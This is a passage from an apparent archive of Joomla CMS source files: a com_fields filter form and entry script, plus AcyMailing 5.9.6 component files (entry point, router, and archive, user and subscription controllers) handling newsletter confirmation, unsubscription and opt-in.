			description="COM_FIELDS_FIELDS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
			class="js-stools-search-string"
		/>

		<field
			name="state"
			type="status"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="group_id"
			type="fieldgroups"
			state="0,1,2"
			onchange="this.form.submit();"
			>
			<option value="">COM_FIELDS_VIEW_FIELDS_SELECT_GROUP</option>
		</field>

		<field
			name="assigned_cat_ids"
			type="category"
			onchange="this.form.submit();"
			>
			<option value="">COM_FIELDS_VIEW_FIELDS_SELECT_CATEGORY</option>
		</field>

		<field
			name="access"
			type="accesslevel"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
		</field>
	</fields>

	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.ordering ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="a.type ASC">COM_FIELDS_VIEW_FIELDS_SORT_TYPE_ASC</option>
			<option value="a.type DESC">COM_FIELDS_VIEW_FIELDS_SORT_TYPE_DESC</option>
			<option value="g.title ASC">COM_FIELDS_VIEW_FIELDS_SORT_GROUP_ASC</option>
			<option value="g.title DESC">COM_FIELDS_VIEW_FIELDS_SORT_GROUP_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="a.language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_FIELDS_LIST_LIMIT"
			description="COM_FIELDS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_fields/fields.php000060400000001647152453734450010647 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_fields
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');

$app       = JFactory::getApplication();
$context   = $app->getUserStateFromRequest(
	'com_fields.groups.context',
	'context',
	$app->getUserStateFromRequest('com_fields.fields.context', 'context', 'com_content.article', 'CMD'),
	'CMD'
);

$parts = FieldsHelper::extract($context);

if (!$parts || !JFactory::getUser()->authorise('core.manage', $parts[0]))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Fields');
$controller->execute($app->input->get('task'));
$controller->redirect();
index.html000060400000000037152453734450006551 0ustar00<!DOCTYPE html><title></title>
com_acymailing/acymailing.php000060400000007722152453734450012365 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
if(version_compare(PHP_VERSION, '5.3.0', '<')){
	echo '<p style="color:red">This version of AcyMailing requires at least PHP 5.3.0, it is time to upgrade the PHP version of your server!</p>';
	exit;
}

if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo "Could not load Acy helper file";
	return;
}

if(acymailing_isDebug()) acymailing_displayErrors();

$taskGroup = acymailing_getVar('cmd', 'ctrl', acymailing_getVar('cmd', 'gtask', 'dashboard'));
if($taskGroup == 'config') $taskGroup = 'cpanel';

$config = acymailing_config();

acymailing_addStyle(false, ACYMAILING_CSS.'backend_default.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'backend_default.css'));
$cssBackend = $config->get('css_backend');
if($cssBackend == 'custom' && file_exists(ACYMAILING_MEDIA.'css'.DS.'backend_custom.css')) acymailing_addStyle(false, ACYMAILING_CSS.'backend_custom.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'backend_custom.css'));
if(ACYMAILING_J30 && !ACYMAILING_J40) acymailing_addStyle(true, '.header{ display: none; }');

acymailing_addScript(false, ACYMAILING_JS.'acymailing.js?v='.filemtime(ACYMAILING_MEDIA.'js'.DS.'acymailing.js'));

if(ACYMAILING_J16 && file_exists(ACYMAILING_ROOT.'media'.DS.'system'.DS.'js'.DS.'core.js')){
	$url = rtrim(acymailing_rootURI(), '/').'/media/system/js/core.js?v='.filemtime(ACYMAILING_ROOT.'media'.DS.'system'.DS.'js'.DS.'core.js');
	$js = 'document.addEventListener("DOMContentLoaded", function(){
		if(typeof Joomla == "undefined" && typeof window.Joomla == "undefined"){
			var script = document.createElement("script");
			script.type = "text/javascript";
			script.src = "'.$url.'";
			document.head.appendChild(script);
		}
	});';
	acymailing_addScript(true, $js);
}

if($taskGroup != 'update' && !$config->get('installcomplete')){
	$url = acymailing_completeLink('update&task=install', false, true);
	echo "<script>document.location.href='".$url."';</script>\n";
	echo 'Install not finished... You will be redirected to the second part of the install screen<br />';
	echo '<a href="'.$url.'">Please click here if you are not automatically redirected within 3 seconds</a>';
	return;
}


$action = acymailing_getVar('cmd', 'task', 'listing');
if(empty($action)){
	$action = acymailing_getVar('cmd', 'defaulttask', 'listing');
	acymailing_setVar('task', $action);
}

$menuDisplayed = false;
if(!ACYMAILING_J40
   && !($taskGroup == 'send' && $action == 'send')
   && $taskGroup !== 'toggle'
   && !acymailing_isNoTemplate()
   && !in_array($action, array('doexport', 'continuesend', 'load'))
   && !in_array($taskGroup, array('editor'))){

	$menuHelper = acymailing_get('helper.acymenu');
	echo '<div id="acyallcontent" class="acyallcontent">';
	echo $menuHelper->display($taskGroup);

	echo '<div id="acymainarea" class="acymaincontent_'.$taskGroup.'">';
	$menuDisplayed = true;
}

if($taskGroup != 'update' && ACYMAILING_J16 && !acymailing_authorised('core.manage', 'com_acymailing')){
	acymailing_display(acymailing_translation('JERROR_ALERTNOAUTHOR'), 'error');
	return;
}
if(($taskGroup == 'cpanel' || ($taskGroup == 'update' && $action == 'listing')) && ACYMAILING_J16 && !acymailing_authorised('core.admin', 'com_acymailing')){
	acymailing_display(acymailing_translation('JERROR_ALERTNOAUTHOR'), 'error');
	return;
}

if(!include_once(ACYMAILING_CONTROLLER.$taskGroup.'.php')){
	acymailing_redirect(acymailing_completeLink('dashboard'));
	return;
}
$className = ucfirst($taskGroup).'Controller';
$classGroup = new $className();

acymailing_setVar('view', $classGroup->getName());
$classGroup->execute($action);

$classGroup->redirect();

if($menuDisplayed){
	echo '</div></div>';
}
com_acymailing/router.php000060400000004070152453734450011561 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

function AcymailingBuildRoute(&$query){
	$segments = array();

	if(isset($query['ctrl']) && in_array($query['ctrl'], array('stats', 'moduleloader', 'cron', 'fronteditor', 'frontfilter', 'sub'))){
		return $segments;
	}

	$ctrl = '';
	$task = '';

	if(isset($query['ctrl'])){
		$ctrl = $query['ctrl'];
		if($ctrl != 'archive' || (!empty($query['task']) && $query['task'] != 'view')) $segments[] = $query['ctrl'];
		unset($query['ctrl']);
		if(isset($query['task'])){
			$task = $query['task'];
			if($ctrl != 'archive' || $task != 'view') $segments[] = $query['task'];
			unset($query['task']);
		}
	}elseif(isset($query['view'])){
		$ctrl = $query['view'];
		$segments[] = $query['view'];
		unset($query['view']);
		if(isset($query['layout'])){
			$task = $query['layout'];
			$segments[] = $query['layout'];
			unset($query['layout']);
		}
	}

	if(empty($query)) return $segments;

	foreach($query as $name => $value){
		if(in_array($name, array('option', 'Itemid', 'start', 'format', 'limitstart', 'no_html', 'val', 'key', 'acyformname', 'subid', 'tmpl', 'lang', 'limit'))) continue;

		if($ctrl == 'user' && $name == 'mailid') continue;

		$segments[] = $name.':'.$value;
		unset($query[$name]);
	}

	return $segments;
}

function AcymailingParseRoute($segments){
	$vars = array();

	if(empty($segments)) return $vars;

	$i = 0;
	foreach($segments as $name){
		if(strpos($name, ':')){
			list($arg, $val) = explode(':', $name);
			if(is_numeric($arg)){
				$vars['Itemid'] = $arg;
			}else{
				$vars[$arg] = $val;
			}
		}else{
			$i++;
			if($i == 1){
				$vars['ctrl'] = $name;
			}elseif($i == 2){
				$vars['task'] = $name;
			}
		}
	}

	if(empty($vars['ctrl']) && (!empty($vars['listid']) || !empty($vars['mailid']))){
		$vars['ctrl'] = 'archive';
		if(!empty($vars['mailid'])) $vars['task'] = 'view';
	}

	return $vars;
}
com_acymailing/controllers/archive.php000060400000001643152453734450014233 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class ArchiveController extends acymailingController{

	function view(){

		$statsClass = acymailing_get('class.stats');
		$statsClass->countReturn = false;
		$statsClass->saveStats();

		$printEnabled = acymailing_getVar('none', 'print', 0);
		if($printEnabled){
			$js = "setTimeout(function(){
					if(document.getElementById('iframepreview')){
						document.getElementById('iframepreview').contentWindow.focus();
						document.getElementById('iframepreview').contentWindow.print();
					}else{
						window.print();
					}
				},2000);";
			acymailing_addScript(true, $js);
		}

		acymailing_setVar('layout', 'view');
		return parent::display();
	}


}
com_acymailing/controllers/user.php000060400000034371152453734450013574 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class UserController extends acymailingController{

	function __construct($config = array()){
		parent::__construct($config);

		$this->registerDefaultTask('subscribe');
		$this->registerTask('optout', 'unsub');
		$this->registerTask('out', 'unsub');
	}

	function confirm(){
		if(acymailing_isRobot()) return false;

		$config = acymailing_config();


		$userClass = acymailing_get('class.subscriber');
		$userClass->geolocRight = true;

		$user = $userClass->identify();
		if(empty($user)) return false;

		$redirectUrl = $config->get('confirm_redirect');
		$listRedirection = '';
		$subscription = $userClass->getSubscriptionStatus($user->subid);
		foreach($subscription as $i => $onelist){
			if(!in_array($onelist->status, array(1, 2)) || acymailing_translation('REDIRECTION_CONFIRMATION_'.$i) == 'REDIRECTION_CONFIRMATION_'.$i) continue;
			$listRedirection = acymailing_translation('REDIRECTION_CONFIRMATION_'.$i);
			break;
		}

		if(!empty($listRedirection)) $redirectUrl = $listRedirection;

		if($config->get('confirmation_message', 1)){
			if($user->confirmed && strlen(acymailing_translation('ALREADY_CONFIRMED')) > 0){
				acymailing_enqueueMessage(acymailing_translation('ALREADY_CONFIRMED'));
			}elseif(!$user->confirmed && strlen(acymailing_translation('SUBSCRIPTION_CONFIRMED')) > 0) acymailing_enqueueMessage(acymailing_translation('SUBSCRIPTION_CONFIRMED'));
		}

		if(!$user->confirmed) $userClass->confirmSubscription($user->subid);

		$notifConfirm = $config->get('notification_confirm');
		if(!empty($notifConfirm)){
			$listsubClass = acymailing_get('class.listsub');
			$userHelper = acymailing_get('helper.user');
			$mailer = acymailing_get('helper.mailer');
			$mailer->autoAddUser = true;
			$mailer->checkConfirmField = false;
			$mailer->report = false;
			foreach($user as $field => $value) $mailer->addParam('user:'.$field, $value);
			$mailer->addParam('user:subscription', $listsubClass->getSubscriptionString($user->subid));
			$mailer->addParam('user:subscriptiondates', $listsubClass->getSubscriptionString($user->subid, true));
			$mailer->addParam('user:ip', $userHelper->getIP());
			if(!empty($userClass->geolocData)){
				foreach($userClass->geolocData as $map => $value){
					$mailer->addParam('geoloc:notif_'.$map, $value);
				}
			}
			$mailer->addParamInfo();
			$allUsers = explode(' ', trim(str_replace(array(';', ','), ' ', $notifConfirm)));
			foreach($allUsers as $oneUser){
				if(empty($oneUser)) continue;
				$mailer->sendOne('notification_confirm', $oneUser);
			}
		}

		if(!empty($redirectUrl)){
			$replace = array();
			foreach($user as $key => $val){
				$replace['{'.$key.'}'] = $val;
				$replace['{user:'.$key.'}'] = $val;
			}
			if($config->get('redirect_tags', 0) == 1) $redirectUrl = str_replace(array_keys($replace), $replace, $redirectUrl);
			acymailing_redirect($redirectUrl);
		}

		if('joomla' == 'wordpress') acymailing_redirect(acymailing_rootURI());

		acymailing_setVar('layout', 'confirm');
		return parent::display();
	}//endfct

	function modify(){
		$userClass = acymailing_get('class.subscriber');
		$userClass->geolocRight = true;

		$user = $userClass->identify(true);
		if(empty($user)) return $this->subscribe();

		acymailing_setVar('layout', 'modify');
		return parent::display();
	}

	function subscribe(){
		$userClass = acymailing_get('class.subscriber');
		$userClass->geolocRight = true;

		$currentUserid = acymailing_currentUserId();
		if(!empty($currentUserid) AND $userClass->identify(true)){
			return $this->modify();
		}

		$config = acymailing_config();
		$allowvisitor = $config->get('allow_visitor', 1);
		if(empty($allowvisitor)){
			acymailing_askLog(true, 'ONLY_LOGGED', 'message');
			return false;
		}

		acymailing_setVar('layout', 'modify');
		return parent::display();
	}

	function unsub(){
		$userClass = acymailing_get('class.subscriber');

		$user = $userClass->identify();
		if(empty($user)) return false;

		$statsClass = acymailing_get('class.stats');
		$statsClass->countReturn = false;
		$statsClass->saveStats();

		acymailing_setVar('layout', 'unsub');
		return parent::display();
	}

	function saveunsub(){
		acymailing_checkRobots();

		$subscriberClass = acymailing_get('class.subscriber');
		$subscriberClass->sendConf = false;

		$listsubClass = acymailing_get('class.listsub');
		$userHelper = acymailing_get('helper.user');
		$config = acymailing_config();


		$subscriber = new stdClass();
		$subscriber->subid = acymailing_getVar('int', 'subid');

		$user = $subscriberClass->identify();
		if(!$user || empty($subscriber->subid) || $user->subid != $subscriber->subid){
			echo "<script>alert('ERROR : You are not allowed to modify this user'); window.history.go(-1);</script>";
			exit;
		}

		$refusemails = acymailing_getVar('int', 'refuse');
		$unsuball = acymailing_getVar('int', 'unsuball');
		$mailid = acymailing_getVar('int', 'mailid');

		$oldUser = $subscriberClass->get($subscriber->subid);

		$survey = acymailing_getVar('array', 'survey', array(), '');
		$tagSurvey = '';
		$data = array();
		if(!empty($survey)){
			foreach($survey as $oneResult){
				if(empty($oneResult)) continue;
				$data[] = "REASON::".str_replace(array("\n", "\r"), array('<br />', ''), strip_tags($oneResult));
			}

			$tagSurvey = implode('<br />', $data);
		}

		$replace = array();
		$replace['REASON::'] = '<br />'.acymailing_translation('REASON').' : ';
		$reasons = unserialize($config->get('unsub_reasons'));
		foreach($reasons as $i => $oneReason){
			if(preg_match('#^[A-Z_]*$#', $oneReason)){
				$replace[$oneReason] = acymailing_translation($oneReason);
			}
		}

		$tagSurvey = str_replace(array_keys($replace), $replace, $tagSurvey);

		$historyClass = acymailing_get('class.acyhistory');
		$historyClass->insert($subscriber->subid, 'unsubscribed', $data, $mailid);

		$notifToSend = '';

		$incrementUnsub = false;
		if($refusemails OR $unsuball){

			if($refusemails){
				$subscriber->accept = 0;
				if($config->get('unsubscription_message', 1) && strlen(acymailing_translation('CONFIRM_UNSUB_FULL')) > 0) acymailing_enqueueMessage(acymailing_translation('CONFIRM_UNSUB_FULL'));
				$notifToSend = 'notification_refuse';
			}elseif($unsuball){
				$notifToSend = 'notification_unsuball';
			}


			$subscription = $subscriberClass->getSubscriptionStatus($subscriber->subid);
			$updatelists = array();
			foreach($subscription as $listid => $oneList){
				if($oneList->status != -1){
					$updatelists[-1][] = $listid;
				}
			}

			$listsubClass->sendNotif = false;

			if(!empty($updatelists)){
				$status = $listsubClass->updateSubscription($subscriber->subid, $updatelists);
				if($config->get('unsubscription_message', 1) && strlen(acymailing_translation('CONFIRM_UNSUB_ALL')) > 0) acymailing_enqueueMessage(acymailing_translation('CONFIRM_UNSUB_ALL'));
				$incrementUnsub = true;
			}else{
				if($config->get('unsubscription_message', 1) && strlen(acymailing_translation('ERROR_NOT_SUBSCRIBED')) > 0) acymailing_enqueueMessage(acymailing_translation('ERROR_NOT_SUBSCRIBED'));
			}

			$subscriber->confirmed = 0;
			$subscriberClass->save($subscriber);
		}else{

			$subscription = $subscriberClass->getSubscriptionStatus($subscriber->subid);

			$allLists = acymailing_loadObjectList('SELECT b.listid, b.name, b.type FROM '.acymailing_table('listmail').' as a JOIN '.acymailing_table('list').' as b on a.listid = b.listid WHERE a.mailid = '.$mailid);

			if(empty($allLists)){
				$allLists = acymailing_loadObjectList('SELECT b.listid, b.name, b.type FROM '.acymailing_table('list').' as b WHERE b.welmailid = '.$mailid.' OR b.unsubmailid = '.$mailid);
			}

			if(empty($allLists)){
				$allLists = acymailing_loadObjectList('SELECT b.listid, b.name, b.type FROM #__acymailing_listsub as a JOIN #__acymailing_list as b on a.listid = b.listid WHERE a.subid = '.$subscriber->subid);
			}


			$otherSubscriptionsBoxes = acymailing_getVar('array', 'unsubotherlists', array(), 'post');
			$otherSubscriptionsId = acymailing_getVar('array', 'unsubotherlistsid', array(), 'post');
			$othersubscriptionsToRemove = array();
			if(!empty($otherSubscriptionsBoxes)){
				$i = 0;
				foreach($otherSubscriptionsBoxes as $anotherSubscriptionsBox => $value){
					if($value == 1) $othersubscriptionsToRemove[] = intval($otherSubscriptionsId[$i]);
					$i++;
				}

				$otherSubscriptions = acymailing_loadObjectList('SELECT listid, name, type FROM #__acymailing_list WHERE listid IN ('.implode(',', $othersubscriptionsToRemove).')');

				foreach($otherSubscriptions as $anotherSubscription){
					array_push($allLists, $anotherSubscription);
				}
			}


			if(empty($allLists)){
				echo "<script>alert('ERROR : Could not get the list for the mailing $mailid'); window.history.go(-1);</script>";
				exit;
			}

			$campaignList = array();
			$unsubList = array();
			foreach($allLists as $oneList){
				if(isset($subscription[$oneList->listid]) AND $subscription[$oneList->listid]->status != -1){
					if($oneList->type == 'campaign'){
						$campaignList[] = $oneList->listid;
					}else{
						$unsubList[$oneList->listid] = $oneList;
					}
				}
			}

			if(!empty($campaignList)){
				$otherLists = acymailing_loadObjectList('SELECT b.listid, b.name, b.type FROM '.acymailing_table('listcampaign').' as a LEFT JOIN '.acymailing_table('list').' as b on a.listid = b.listid WHERE a.campaignid IN ('.implode(',', $campaignList).')');
				if(!empty($otherLists)){
					foreach($otherLists as $oneList){
						if(isset($subscription[$oneList->listid]) AND $subscription[$oneList->listid]->status != -1){
							$unsubList[$oneList->listid] = $oneList;
						}
					}
				}
			}

			if(!empty($unsubList)){
				$updatelists = array();
				$updatelists[-1] = array_keys($unsubList);
				$listsubClass->survey = $tagSurvey;
				$status = $listsubClass->updateSubscription($subscriber->subid, $updatelists);
				if($config->get('unsubscription_message', 1) && strlen(acymailing_translation('CONFIRM_UNSUB_CURRENT')) > 0) acymailing_enqueueMessage(acymailing_translation('CONFIRM_UNSUB_CURRENT'));
				$incrementUnsub = true;
			}else{
				if($config->get('unsubscription_message', 1) && strlen(acymailing_translation('ERROR_NOT_SUBSCRIBED_CURRENT')) > 0) acymailing_enqueueMessage(acymailing_translation('ERROR_NOT_SUBSCRIBED_CURRENT'));
			}
		}

		if($incrementUnsub){
			$alreadythere = acymailing_loadResult('SELECT subid FROM #__acymailing_history WHERE `action` = "unsubscribed" AND `subid` = '.intval($subscriber->subid).' AND `mailid` = '.intval($mailid).' LIMIT 1,1');

			if(empty($alreadythere)){
				acymailing_query('UPDATE '.acymailing_table('stats').' SET `unsub` = `unsub` +1 WHERE `mailid` = '.(int)$mailid);
			}
		}

		$classGeoloc = acymailing_get('class.geolocation');
		$classGeoloc->saveGeolocation('unsubscription', $subscriber->subid);

		if(!empty($notifToSend)){
			$notifyUsers = $config->get($notifToSend);

			if(!empty($notifyUsers)){
				$mailer = acymailing_get('helper.mailer');
				$mailer->autoAddUser = true;
				$mailer->checkConfirmField = false;
				$mailer->report = false;
				foreach($oldUser as $field => $value) $mailer->addParam('user:'.$field, $value);
				$mailer->addParam('user:subscription', $listsubClass->getSubscriptionString($oldUser->subid));
				$mailer->addParam('user:subscriptiondates', $listsubClass->getSubscriptionString($oldUser->subid, true));
				$mailer->addParam('user:ip', $userHelper->getIP());
				$mailer->addParam('survey', $tagSurvey);
				$mailer->addParamInfo();
				$allUsers = explode(' ', trim(str_replace(array(';', ','), ' ', $notifyUsers)));
				foreach($allUsers as $oneUser){
					if(empty($oneUser)) continue;
					$mailer->sendOne('notification_unsuball', $oneUser);
				}
			}
		}


		$redirectUnsub = $config->get('unsub_redirect');
		if(!empty($redirectUnsub)){
			$replace = array();
			foreach($oldUser as $key => $val){
				$replace['{'.$key.'}'] = $val;
				$replace['{user:'.$key.'}'] = $val;
			}
			if($config->get('redirect_tags', 0) == 1) $redirectUnsub = str_replace(array_keys($replace), $replace, $redirectUnsub);
			acymailing_redirect($redirectUnsub);
			return;
		}elseif('joomla' == 'wordpress'){
			acymailing_redirect(acymailing_rootURI());
			return;
		}

		acymailing_setVar('layout', 'saveunsub');
		return parent::display();
	}

	function savechanges(){
		acymailing_checkToken();
		acymailing_checkRobots();

		$config = acymailing_config();
		$subscriberClass = acymailing_get('class.subscriber');
		$subscriberClass->geolocRight = true;
		$subscriberClass->extendedEmailVerif = true;


		$status = $subscriberClass->saveForm();
		$subscriberClass->sendNotification();
		if($status){
			if($subscriberClass->confirmationSent){
				if($config->get('subscription_message', 1) && strlen(acymailing_translation('CONFIRMATION_SENT')) > 0) acymailing_enqueueMessage(acymailing_translation('CONFIRMATION_SENT'), 'message');
				$redirectlink = $config->get('sub_redirect');
			}elseif($subscriberClass->newUser){
				if($config->get('subscription_message', 1) && strlen(acymailing_translation('SUBSCRIPTION_OK')) > 0) acymailing_enqueueMessage(acymailing_translation('SUBSCRIPTION_OK'), 'message');
				$redirectlink = $config->get('sub_redirect');
			}else{
				if(strlen(acymailing_translation('SUBSCRIPTION_UPDATE_OK')) > 0) acymailing_enqueueMessage(acymailing_translation('SUBSCRIPTION_UPDATED_OK'), 'message');
				$redirectlink = $config->get('modif_redirect');
			}
		}elseif($subscriberClass->requireId){
			if(strlen(acymailing_translation('IDENTIFICATION_SENT')) > 0) acymailing_enqueueMessage(acymailing_translation('IDENTIFICATION_SENT'), 'notice');
		}else{
			if(strlen(acymailing_translation('ERROR_SAVING')) > 0) acymailing_enqueueMessage(acymailing_translation('ERROR_SAVING'), 'error');
		}

		if(!empty($redirectlink)){
			if($config->get('redirect_tags', false)) {
				$user = $subscriberClass->identify(true);
				if(!empty($user->subid)) {
					$replace = array();
					foreach ($user as $key => $val) {
						if(!is_array($val) && !is_object($val)) $replace['{' . $key . '}'] = $val;
					}
					$redirectlink = str_replace(array_keys($replace), $replace, $redirectlink);
				}
			}

			acymailing_redirect($redirectlink);
			return;
		}

		if($subscriberClass->identify(true)) return $this->modify();
		return $this->subscribe();
	}
}
com_acymailing/controllers/sub.php000060400000040500152453734450013376 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class SubController extends acymailingController{

	function notask(){

		$ajax = acymailing_getVar('int', 'ajax', 0);
		if($ajax) header("Content-type:text/html; charset=utf-8");

		if($ajax){
			echo '{"message":"Please enable the Javascript to be able to subscribe","type":"error","code":"0"}';
			exit;
		}else{
			$redirectUrl = urldecode(acymailing_getVar('string', 'redirect', '', ''));
			$this->_checkRedirectUrl($redirectUrl);
			acymailing_redirect($redirectUrl,'Please enable the Javascript to be able to subscribe','notice');
		}
		return false;
	}

	function display($dummy1 = false, $dummy2 = false){
		$moduleId = acymailing_getVar('int', 'formid');
		if(empty($moduleId)) return;

		if(acymailing_getVar('int', 'interval') > 0) setcookie('acymailingSubscriptionState', true, time() + acymailing_getVar('int', 'interval'), '/');

	 	$module = acymailing_loadObject('SELECT * FROM #__modules WHERE id = '.intval($moduleId).' AND `module` LIKE \'%acymailing%\' AND published = 1 LIMIT 1');
	 	if(empty($module)){ echo 'No module found'; exit; }

		$module->user  	= substr( $module->module, 0, 4 ) == 'mod_' ?  0 : 1;
		$module->name = $module->user ? $module->title : substr( $module->module, 4 );
		$module->style = null;
		$module->module = preg_replace('/[^A-Z0-9_\.-]/i', '', $module->module);

		$params = array();
		if(acymailing_getVar('int', 'autofocus', 0)){
			$js = "
				window.addEventListener('load', function(){
					this.focus();
					var moduleInputs = document.getElementsByTagName('input');
					if(moduleInputs){
						var i = 0;
						while(moduleInputs[i].disabled == true){
							i++;
						}
						if(moduleInputs[i]) moduleInputs[i].focus();
					}
				});";

			acymailing_addScript(true, $js);
		}

		echo JModuleHelper::renderModule($module, $params);
	}

	function optin(){
		acymailing_checkRobots();
		$config = acymailing_config();

		if(!acymailing_getVar('cmd', 'acy_source') && !empty($_GET['user'])){
			acymailing_setVar('acy_source','url');
		}

		$ajax = acymailing_getVar('int', 'ajax', 0);
		if($ajax){
			@ob_end_clean();
			header("Content-type:text/html; charset=utf-8");
		}

		$currentUserid = acymailing_currentUserId();
		if((int) $config->get('allow_visitor',1) != 1 && empty($currentUserid)){
			if($ajax){
				echo '{"message":"'.str_replace('"','\"',acymailing_translation('ONLY_LOGGED')).'","type":"error","code":"0"}';
				exit;
			}else{
				acymailing_askLog(false, 'ONLY_LOGGED');
				return;
			}
		}


		$userClass = acymailing_get('class.subscriber');

		$userClass->geolocRight = true;

		$redirectUrl = urldecode(acymailing_getVar('string', 'redirect', '', ''));

		$user = new stdClass();
		$formData = acymailing_getVar('array',  'user', array(), '');

		if(!empty($formData)){
			$userClass->checkFields($formData,$user);
		}

		$allowUserModifications = (bool) ($config->get('allow_modif','data') == 'all');
		$allowSubscriptionModifications = (bool) ($config->get('allow_modif','data') != 'none');

		if(empty($user->email)){
			$connectedUser = $userClass->identify(true);
			if(!empty($connectedUser->email)){
				$user->email = $connectedUser->email;
				$allowUserModifications = true;
				$allowSubscriptionModifications = true;
			}
		}

		$user->email =  trim($user->email);

		$userHelper = acymailing_get('helper.user');
		if(empty($user->email) || !$userHelper->validEmail($user->email,true)){
			if ($ajax) echo '{"message":"'.str_replace('"','\"',acymailing_translation('VALID_EMAIL')).'","type":"error","code":"0"}';
			else echo "<script>alert('".acymailing_translation('VALID_EMAIL',true)."'); window.history.go(-1);</script>";
			exit;
		}
		if(!empty($user->email)) $user->email = acymailing_punycode($user->email);

		$alreadyExists = $userClass->get($user->email);

		if(!empty($alreadyExists->subid)){
			if(!empty($alreadyExists->userid)) unset($user->name);
			$user->subid = $alreadyExists->subid;
			$currentSubscription = $userClass->getSubscriptionStatus($alreadyExists->subid);
		}else{
			$allowSubscriptionModifications = true;
			$allowUserModifications = true;
			$currentSubscription = array();
		}

		$user->accept = 1;

		if($allowUserModifications){
			$userClass->recordHistory = true;
			$user->subid = $userClass->save($user);
		}

		$myuser = $userClass->get($user->subid);
		if(empty($myuser->subid)){
			if ($ajax) echo '{"message":"Could not save the user","type":"error","code":"1"}';
			else echo "<script>alert('Could not save the user'); window.history.go(-1);</script>";
			exit;
		}

		if(empty($myuser->accept)){
			$myuser->accept = 1;
			$userClass->save($myuser);
		}

		if(!$allowUserModifications && !empty($myuser->subid) && empty($myuser->confirmed)){
			$userClass->sendConf($myuser->subid);
		}

		$statusAdd = (empty($myuser->confirmed) AND $config->get('require_confirmation',false)) ? 2 : 1;

		$addlists = array();
		$updatelists = array();

		$hiddenlistsstring = acymailing_getVar('string', 'hiddenlists', '', '');
		if(!empty($hiddenlistsstring)){

			$hiddenlists = explode(',',$hiddenlistsstring);

			acymailing_arrayToInteger($hiddenlists);

			foreach($hiddenlists as $id => $idOneList){
				if(!isset($currentSubscription[$idOneList])){
					$addlists[$statusAdd][] = $idOneList;
					continue;
				}

				if($currentSubscription[$idOneList]->status == $statusAdd || $currentSubscription[$idOneList]->status == 1) continue;

				$updatelists[$statusAdd][] = $idOneList;
			}
		}

		$visibleSubscription = acymailing_getVar('array', 'subscription', '', '');

		if(!empty($visibleSubscription)){
			foreach($visibleSubscription as $idOneList){
				if(empty($idOneList)) continue;

				if(!isset($currentSubscription[$idOneList])){
					$addlists[$statusAdd][] = $idOneList;
					continue;
				}

				if($currentSubscription[$idOneList]->status == $statusAdd || $currentSubscription[$idOneList]->status == 1) continue;

				$updatelists[$statusAdd][] = $idOneList;
			}
		}

		$visiblelistsstring = acymailing_getVar('string', 'visiblelists', '', '');

		if(!empty($visiblelistsstring)){

